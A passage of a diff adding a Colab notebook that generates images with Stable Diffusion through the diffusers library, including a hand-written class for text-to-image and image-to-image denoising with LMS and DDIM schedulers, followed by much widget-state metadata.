"3634354fd978434bbad0fd11d3e0b5fb", + "9e1a5419468d4549a38b8d23aa14f6d3", + "98eab664cdee4999bb09af5abe60535f", + "61325b5427e44d0885d95a82fc44cfd6", + "37735d14a2614ffbbceaef743d2033a9", + "80916d39f0bc426488b41a013196cc42", + "7badbb79920e43b9a6f6317e7b746384", + "693b0b6df20e4f2caeaeb4838b37d8bb", + "341f088c9e0f4eb2ae3f4868b4dcb835", + "2733152e7214400abdf0e793358181b3", + "d44653455b8a490997da5bfd8672cf7e", + "090573574f8d48a1b9d2918d14c75c9a", + "dfdaf22078fd4385ab30060981d67666", + "3eee3667ff024f2a875dcf57f00d7f70", + "9512cb52fe3a44d0bd0f52daed6139d9", + "de35fccd4b4a433e8b468ef3981bede9", + "ff35f85d2db0404da5e01fbda308197a", + "221469404d3946f39b4c97e708385b88", + "1d6c6e3129bc4702afae1facf2b8ba6b", + "d0c8dcdbf9f44ca1bc74ea1e2f127b0f", + "5e09f80f20554f419d925c5cdf55cc63", + "34714076cb4b479eab2c5ec6a6c7d50e", + "22d3e015ffd24db8aa145fab92c1901c", + "37ceac6f039642cab04a03a8afb9f301", + "0ce4a494f2274147b9005aa03358b263", + "e8f385dcd70f40d28cd27ba5d7edcef8", + "3bc08cdf09a84428a51955f2aa42ea30", + "cb68043195a642b3a495d82d87ffd1b8", + "0cf91d0dc45340f19f6a7a2804000145", + "dff99876d1e3468bb3cbd97160ecd7a1", + "0a8793f9c57f48b299703b7945163b50", + "edb8b182bc4a413185e754aae38ee93a", + "597a8eacf00b406ab23af333aea97e3c", + "20396dbdc36b47538a5fd6b522478b67", + "3eec3e2c3abe40efb74a05a67bf755a0", + "e288ede57ad84b2bb455ba18016c68d8", + "8924eb6712b146bd977f21c46531338b", + "ede27ca6747240eeb41a9dbde664e8a7", + "45ed824c2cd746c09e61dc8a2bdd3384", + "3f94af984ba84b838643b03caf8d2d4e", + "2e9985de92164304b5b4c8b723d24cf1", + "99777597ceee470ca8c8a34f4846435a", + "ca063f5b64d74bc9be303eebe7092f81", + "7d654e85d8794af197e72f905086b9a7", + "f3804bde7c974eaf90df71e9fdd3539b", + "dba967ac191d45a0b604e93f0dc1fffe", + "f8cc05786ad94dcca69f1fedf6d4aa4a" + ] + }, + "id": "JzcSCwsF6aBT", + "outputId": "1f223f71-54ed-49fe-8cb5-dcfc183a7c3f" + }, + "outputs": [], + "source": [ + "model_id = \"dreamlike-art/dreamlike-photoreal-2.0\"\n", + "pipe = StableDiffusionPipeline.from_pretrained(model_id, torch_dtype=torch.float16)\n", + "pipe = pipe.to(\"cuda\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "Sz6SRmjd6pBb" + }, + "outputs": [], + "source": [ + "prompts = [\"Cute Rabbit, Ultra HD, realistic, futuristic, sharp, octane render, photoshopped, photorealistic, soft, pastel, Aesthetic, Magical background\",\n", + " \"Anime style aesthetic landscape, 90's vintage style, digital art, ultra HD, 8k, photoshopped, sharp focus, surrealism, akira style, detailed line art\",\n", + " \"Beautiful, abstract art of a human mind, 3D, highly detailed, 8K, aesthetic\"]\n", + "\n", + "images = []" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 113, + "referenced_widgets": [ + "eb182b33be95418fad1010ccf7b176ab", + "614b85aff85e47debadea7773583b8ab", + "c6305a1adcd946d2a4c66c05e614bcf1", + "d321be86c24d4a35a251d4ef7a75c24d", + "a99edd082dff4f928c3b75abf84ec0ec", + "3d17c5e7b942485d9ca1db572c06afe5", + "29f58c06e0474f4e8f411aaaceb4d7f7", + "f369cc94c2544de3acdbcd35cac6d393", + "0bec42769e7e4492aedd4afb63a91ff3", + "73f2e3215913478aae13131aefadd0a5", + "64f6ec814be648d3ba69f94eb844a049", + "534cf1c7f20a431cab02aea224148db3", + "1997648c2dc946e1bdb18d2730175ea8", + "2496cd9b6ee640f8a6d398b7a56f93b7", + "7f0e7d1bd12b4d0eb800a3d62901c4a8", + "b75a2474c46f4f3b9d84cb981bfffac7", + "ac3ea0ea867b4c30bd4be87aaa602d42", + "ff0910f0831b49ac9faaba1e70c275dc", + "fc5d5de2233543eba400877e7891977a", + "f9a2bf4d86ab403d9e1c7378e91bf467", + "cbcfc8e9b02348a182722c846cecca2a", + "ece36cbb62cd46a8b452fac32dce3493", + "6f400bad53794c7cbed09e4fd59c211d", + "4cecf6bc5f294968bcee7bf65896a31d", + "5bb94e6390af4e81ac0e6b3a47445996", + "af474aa6c91344da9a968e7e2488b74c", + "5a702086896f4a229e326fa05d616b35", + "28cd65b9d6f946abab83e430ab6d2017", + "a432cb1a0bc7418bb90248973e91c452", + "37af49a1966045ee992e01f45ff5df81", + "8120fb8694244e5dbbc448eb2a6e03dc", + "69faef33b09f4da7b1c11639102b2a4f", + "87d35ca268744638ad484ccf1a7fe2ed" + ] + }, + "id": "ovvyensy6pDl", + "outputId": "2b0269af-4978-4a8b-eea9-96c12401dc62" + }, + "outputs": [], + "source": [ + "for i, prompt in enumerate(prompts):\n", + " image = pipe(prompt).images[0]\n", + " image.save(f'result_{i}.jpg')\n", + " images.append(image)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 785 + }, + "id": "vd532OSA8Md7", + "outputId": "a8ddd5b1-376b-4036-d87d-af9dc71c88e0" + }, + "outputs": [], + "source": [ + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 785 + }, + "id": "ZpVbvylE8OEt", + "outputId": "5a577720-b68e-4657-9cbb-4112287afa23" + }, + "outputs": [], + "source": [ + "images[1]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 785 + }, + "id": "R1DNPbbz8PU-", + "outputId": "893bb392-96f0-4106-e3d7-f6def830ede1" + }, + "outputs": [], + "source": [ + "images[2]" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "Jd-5c7bouD-_" + }, + "source": [ + "# Manually working with the different components" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "01bGNP1n6aF4" + }, + "outputs": [], + "source": [ + "import torch\n", + "from torch import autocast\n", + "import numpy as np\n", + "\n", + "from transformers import CLIPTextModel, CLIPTokenizer\n", + "\n", + "from diffusers import AutoencoderKL\n", + "from diffusers import LMSDiscreteScheduler\n", + "from diffusers import UNet2DConditionModel\n", + "from diffusers.schedulers.scheduling_ddim import DDIMScheduler\n", + "\n", + "from tqdm import tqdm\n", + "from PIL import Image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "3yBgKeUs8LWU" + }, + "outputs": [], + "source": [ + "class ImageDiffusionModel:\n", + "\n", + " def __init__(self, vae, tokenizer, text_encoder, unet, \n", + " scheduler_LMS, scheduler_DDIM):\n", + " self.vae = vae\n", + " self.tokenizer = tokenizer\n", + " self.text_encoder = text_encoder\n", + " self.unet = unet\n", + " self.scheduler_LMS = scheduler_LMS\n", + " self.scheduler_DDIM = scheduler_DDIM\n", + " self.device = 'cuda' if torch.cuda.is_available() else 'cpu'\n", + " \n", + " \n", + " def get_text_embeds(self, text):\n", + " # tokenize the text\n", + " text_input = self.tokenizer(text, \n", + " padding='max_length', \n", + " max_length=tokenizer.model_max_length, \n", + " truncation=True, \n", + " return_tensors='pt')\n", + " # embed the text\n", + " with torch.no_grad():\n", + " text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]\n", + "\n", + " return text_embeds\n", + "\n", + " def get_prompt_embeds(self, prompt):\n", + " # get conditional prompt embeddings\n", + " cond_embeds = self.get_text_embeds(prompt)\n", + " # get unconditional prompt embeddings\n", + " uncond_embeds = self.get_text_embeds([''] * len(prompt))\n", + " # concatenate the above 2 embeds\n", + " prompt_embeds = torch.cat([uncond_embeds, cond_embeds])\n", + " return prompt_embeds\n", + "\n", + " def get_img_latents(self, \n", + " text_embeds, \n", + " height=512, width=512, \n", + " num_inference_steps=50, \n", + " guidance_scale=7.5, \n", + " img_latents=None):\n", + " # if no image latent is passed, start reverse diffusion with random noise\n", + " if img_latents is None:\n", + " img_latents = torch.randn((text_embeds.shape[0] // 2, self.unet.in_channels,\\\n", + " height // 8, width // 8)).to(self.device)\n", + " # set the number of inference steps for the scheduler\n", + " self.scheduler_LMS.set_timesteps(num_inference_steps)\n", + " # scale the latent embeds\n", + " img_latents = img_latents * self.scheduler_LMS.sigmas[0]\n", + " # use autocast for automatic mixed precision (AMP) inference\n", + " with autocast('cuda'):\n", + " for i, t in tqdm(enumerate(self.scheduler_LMS.timesteps)):\n", + " # do a single forward pass for both the conditional and unconditional latents\n", + " latent_model_input = torch.cat([img_latents] * 2)\n", + " sigma = self.scheduler_LMS.sigmas[i]\n", + " latent_model_input = latent_model_input / ((sigma ** 2 + 1) ** 0.5)\n", + " \n", + " # predict noise residuals\n", + " with torch.no_grad():\n", + " noise_pred = self.unet(latent_model_input, t, encoder_hidden_states=text_embeds)['sample']\n", + "\n", + " # separate predictions for unconditional and conditional outputs\n", + " noise_pred_uncond, noise_pred_cond = noise_pred.chunk(2)\n", + " # perform guidance\n", + " noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_cond - noise_pred_uncond)\n", + "\n", + " # remove the noise from the current sample i.e. go from x_t to x_{t-1}\n", + " img_latents = self.scheduler_LMS.step(noise_pred, t, img_latents)['prev_sample']\n", + "\n", + " return img_latents\n", + "\n", + "\n", + " def decode_img_latents(self, img_latents):\n", + " img_latents = img_latents / 0.18215\n", + " with torch.no_grad():\n", + " imgs = self.vae.decode(img_latents)[\"sample\"]\n", + " # load image in the CPU\n", + " imgs = imgs.detach().cpu()\n", + " return imgs\n", + "\n", + "\n", + "\n", + " def transform_imgs(self, imgs):\n", + " # transform images from the range [-1, 1] to [0, 1]\n", + " imgs = (imgs / 2 + 0.5).clamp(0, 1)\n", + " # permute the channels and convert to numpy arrays\n", + " imgs = imgs.permute(0, 2, 3, 1).numpy()\n", + " # scale images to the range [0, 255] and convert to int\n", + " imgs = (imgs * 255).round().astype('uint8') \n", + " # convert to PIL Image objects\n", + " imgs = [Image.fromarray(img) for img in imgs]\n", + " return imgs\n", + " \n", + " \n", + " \n", + " def prompt_to_img(self, \n", + " prompts, \n", + " height=512, width=512, \n", + " num_inference_steps=50, \n", + " guidance_scale=7.5, \n", + " img_latents=None):\n", + " \n", + " # convert prompt to a list\n", + " if isinstance(prompts, str):\n", + " prompts = [prompts]\n", + " \n", + " # get prompt embeddings\n", + " text_embeds = self.get_prompt_embeds(prompts)\n", + "\n", + " # get image embeddings\n", + " img_latents = self.get_img_latents(text_embeds,\n", + " height, width,\n", + " num_inference_steps,\n", + " guidance_scale, \n", + " img_latents)\n", + " # decode the image embeddings\n", + " imgs = self.decode_img_latents(img_latents)\n", + " # convert decoded image to suitable PIL Image format\n", + " imgs = self.transform_imgs(imgs)\n", + "\n", + " return imgs\n", + "\n", + "\n", + "\n", + " def encode_img_latents(self, imgs):\n", + " if not isinstance(imgs, list):\n", + " imgs = [imgs]\n", + " \n", + " imgs = np.stack([np.array(img) for img in imgs], axis=0)\n", + " # scale images to the range [-1, 1]\n", + " imgs = 2 * ((imgs / 255.0) - 0.5)\n", + " imgs = torch.from_numpy(imgs).float().permute(0, 3, 1, 2)\n", + "\n", + " # encode images\n", + " img_latents_dist = self.vae.encode(imgs.to(self.device))\n", + " # img_latents = img_latents_dist.sample()\n", + " img_latents = img_latents_dist[\"latent_dist\"].mean.clone()\n", + " # scale images\n", + " img_latents *= 0.18215\n", + "\n", + " return img_latents\n", + "\n", + "\n", + " def get_img_latents_similar(self,\n", + " img_latents,\n", + " text_embeds, \n", + " height=512, width=512, \n", + " num_inference_steps=50, \n", + " guidance_scale=7.5,\n", + " start_step=10): \n", + " \n", + " # set the number of inference steps for the scheduler\n", + " self.scheduler_DDIM.set_timesteps(num_inference_steps)\n", + "\n", + " if start_step > 0:\n", + " start_timestep = self.scheduler_DDIM.timesteps[start_step]\n", + " start_timesteps = start_timestep.repeat(img_latents.shape[0]).long()\n", + "\n", + " noise = torch.randn_like(img_latents)\n", + " img_latents = scheduler_DDIM.add_noise(img_latents, noise, start_timesteps)\n", + " \n", + " # use autocast for automatic mixed precision (AMP) inference\n", + " with autocast('cuda'):\n", + " for i, t in tqdm(enumerate(self.scheduler_DDIM.timesteps[start_step:])):\n", + " # do a single forward pass for both the conditional and unconditional latents\n", + " latent_model_input = torch.cat([img_latents] * 2)\n", + " \n", + " # predict noise residuals\n", + " with torch.no_grad():\n", + " noise_pred = self.unet(latent_model_input, t, encoder_hidden_states=text_embeds)['sample']\n", + "\n", + " # separate predictions for unconditional and conditional outputs\n", + " noise_pred_uncond, noise_pred_cond = noise_pred.chunk(2)\n", + " # perform guidance\n", + " noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_cond - noise_pred_uncond)\n", + "\n", + " # remove the noise from the current sample i.e. go from x_t to x_{t-1}\n", + " img_latents = self.scheduler_DDIM.step(noise_pred, t, img_latents)['prev_sample']\n", + "\n", + " return img_latents\n", + "\n", + " \n", + " def similar_imgs(self, \n", + " img, \n", + " prompt, \n", + " height=512, width=512,\n", + " num_inference_steps=50, \n", + " guidance_scale=7.5,\n", + " start_step=10):\n", + " \n", + " # get image latents\n", + " img_latents = self.encode_img_latents(img)\n", + "\n", + " if isinstance(prompt, str):\n", + " prompt = [prompt]\n", + "\n", + " text_embeds = self.get_prompt_embeds(prompt)\n", + " \n", + " img_latents = self.get_img_latents_similar(img_latents=img_latents,\n", + " text_embeds=text_embeds,\n", + " height=height, width=width,\n", + " num_inference_steps=num_inference_steps,\n", + " guidance_scale=guidance_scale,\n", + " start_step=start_step) \n", + "\n", + " imgs = self.decode_img_latents(img_latents)\n", + " imgs = self.transform_imgs(imgs)\n", + " # Clear the CUDA cache\n", + " torch.cuda.empty_cache()\n", + "\n", + " return imgs\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "kd6TwWqEs4Me" + }, + "outputs": [], + "source": [ + "device = 'cuda'\n", + "\n", + "# model_name = \"dreamlike-art/dreamlike-photoreal-2.0\"\n", + "model_name = \"CompVis/stable-diffusion-v1-4\"\n", + "# Load autoencoder\n", + "vae = AutoencoderKL.from_pretrained(model_name, \n", + " subfolder='vae').to(device)\n", + "\n", + "# Load tokenizer and the text encoder\n", + "tokenizer = CLIPTokenizer.from_pretrained(model_name, subfolder=\"tokenizer\")\n", + "text_encoder = CLIPTextModel.from_pretrained(model_name, subfolder=\"text_encoder\").to(device)\n", + "\n", + "# Load UNet model\n", + "unet = UNet2DConditionModel.from_pretrained(model_name, subfolder='unet').to(device)\n", + "\n", + "# Load scheduler\n", + "scheduler_LMS = LMSDiscreteScheduler(beta_start=0.00085, \n", + " beta_end=0.012, \n", + " beta_schedule='scaled_linear', \n", + " num_train_timesteps=1000)\n", + "\n", + "scheduler_DDIM = DDIMScheduler(beta_start=0.00085, \n", + " beta_end=0.012, \n", + " beta_schedule='scaled_linear', \n", + " num_train_timesteps=1000)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "SigUHp47f14I", + "outputId": "bad874ae-1e68-45fe-ef31-9fe887780582" + }, + "outputs": [], + "source": [ + "model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM)\n", + "\n", + "prompts = [\"A really giant cute pink barbie doll on the top of Burj Khalifa\", \n", + " \"A green, scary aesthetic dragon breathing fire near a group of heroic firefighters\"]\n", + "\n", + "imgs = model.prompt_to_img(prompts)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 529 + }, + "id": "8UpQ8gIWf17j", + "outputId": "165f5a5d-fe20-4303-c46f-b247efd05181" + }, + "outputs": [], + "source": [ + "imgs[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 529 + }, + "id": "NAS1yD8vZym_", + "outputId": "ef57db7c-a6c9-437f-d27e-94b2bab06ea9" + }, + "outputs": [], + "source": [ + "imgs[1]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 603 + }, + "id": "nj8pcEOupRES", + "outputId": "0ced4046-ed46-4bd0-8b77-1c23ca73dab6" + }, + "outputs": [], + "source": [ + "prompt = [\"Aesthetic star wars spaceship with an aethethic background, Ultra HD, futuristic, sharp, octane render, neon\"]\n", + "\n", + "imgs = model.prompt_to_img(prompt)\n", + "\n", + "imgs[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "GmXyduZ1npqg" + }, + "outputs": [], + "source": [ + "# saving the image\n", + "imgs[0].save(\"spaceship1.png\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 529 + }, + "id": "RuAHYae4r3MC", + "outputId": "c4be8be3-cacb-48f6-b70c-15ec69afe5b0" + }, + "outputs": [], + "source": [ + "# loading the image again\n", + "original_img = Image.open(\"spaceship1.png\")\n", + "original_img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "qMcpCt20RyKi" + }, + "outputs": [], + "source": [ + "import torch\n", + "import gc\n", + "\n", + "### If you get OOM errors, execute this cell\n", + "# del model\n", + "# Clear the CUDA cache \n", + "torch.cuda.empty_cache()\n", + "gc.collect()\n", + "torch.cuda.empty_cache()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "1TQNiEE86Y6E", + "outputId": "2b87847d-6a63-4ec7-9cc1-7ac6a3396a48" + }, + "outputs": [], + "source": [ + "!nvidia-smi" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 547 + }, + "id": "1vIVmpL4rPmK", + "outputId": "4bbc1c35-6850-41f0-a430-39d764a59f2a" + }, + "outputs": [], + "source": [ + "model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM)\n", + "\n", + "prompt = \"Aesthetic star wars spaceship with an aethethic background, Ultra HD, futuristic, sharp, octane render, neon\"\n", + "\n", + "imgs = model.similar_imgs(original_img, prompt, num_inference_steps=50, start_step=30)\n", + "imgs[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 547 + }, + "id": "zOL-Y7BFai7d", + "outputId": "666384a3-667d-4715-cbe1-07566afa242d" + }, + "outputs": [], + "source": [ + "# model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM)\n", + "\n", + "prompt = \"Aesthetic dark star wars spaceship, Ultra HD, futuristic, sharp, octane render, neon\"\n", + "\n", + "imgs = model.similar_imgs(original_img, prompt,\n", + " num_inference_steps=50,\n", + " start_step=40)\n", + "imgs[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "thiXQYcG8Ekv" + }, + "outputs": [], + "source": [] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "Xwtu2l3-8EnJ" + }, + "outputs": [], + "source": [] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "Yb0H_X6i8Eqj" + }, + "outputs": [], + "source": [] + } + ], + "metadata": { + "accelerator": "GPU", + "colab": { + "collapsed_sections": [ + "Dn2_-E5Sa9Rn" + ], + "provenance": [] + }, + "gpuClass": "standard", + "kernelspec": { + "display_name": "Python 3", + "name": "python3" + }, + "language_info": { + "name": "python" + }, + "widgets": { + "application/vnd.jupyter.widget-state+json": { + "0072680043674280bcde9c4bc19b3704": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_260d5617f5e247f3a978a28d5fe72740", + "placeholder": "​", + "style": "IPY_MODEL_5eba2d04c1c54016834e7dddd253a380", + "value": "Downloading (…)tokenizer/merges.txt: 100%" + } + }, + "016df28dd739433daa2c8d3b1706486c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "03433d859a7a4f3cae64d9d0bf374643": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "03fe79b7b7c5439c99fef039f96a831b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d438504eef684317a6c09cc0b123d25d", + "max": 341, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_26b8bf61f8e44014a005ed10835f68b5", + "value": 341 + } + }, + "0468827f86394f7baf78d44264a225e7": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "06a9b1722db8473597c3a6cf17dafa29": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "090573574f8d48a1b9d2918d14c75c9a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "0a8793f9c57f48b299703b7945163b50": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "0b9c78977b6a45da9aa6ada3332fbc28": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "0bb6ef1e3a2d43ca970723b0e5ac93cf": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_134ae8a21fc2489e9e7524eb856ef778", + "placeholder": "​", + "style": "IPY_MODEL_7debd7332d4a4811ad653398344420f4", + "value": " 472/472 [00:00<00:00, 2.52kB/s]" + } + }, + "0bec42769e7e4492aedd4afb63a91ff3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "0c34c9ecc697483e831333d67a48ff32": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "0ce4a494f2274147b9005aa03358b263": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", 